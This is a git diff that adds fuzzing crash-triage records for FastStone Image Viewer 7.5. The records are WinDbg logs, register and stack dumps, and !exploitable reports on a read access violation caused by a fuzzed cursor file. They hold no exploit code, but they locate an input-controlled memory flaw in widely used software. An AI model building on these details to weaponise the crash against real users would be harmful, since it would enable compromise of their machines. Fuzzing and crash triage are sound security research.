+ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1784.44): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0fffed2d ecx=07ec7b10 edx=00003879 esi=cfe30010 edi=0fcd6fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.898908400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.22927e-023 0.0025156 1.58913e+019 2.84958e-014 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002ca000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002ca000 936b8a8b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629f 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002ca000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..91d21a1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19266/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f2c7ee1 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..0c019e9 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC24: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC24: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(c24.1668): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00002d2d ecx=07e27b10 edx=00003879 esi=12768f40 edi=07c34fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.379135600000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.0251769 -50586.9 -9.33842e-011 5.77988e-027 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036e000 e209bc88 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..0c019e9 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/19488/WindowsDebugEngine_description.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xC24: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xC24: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll 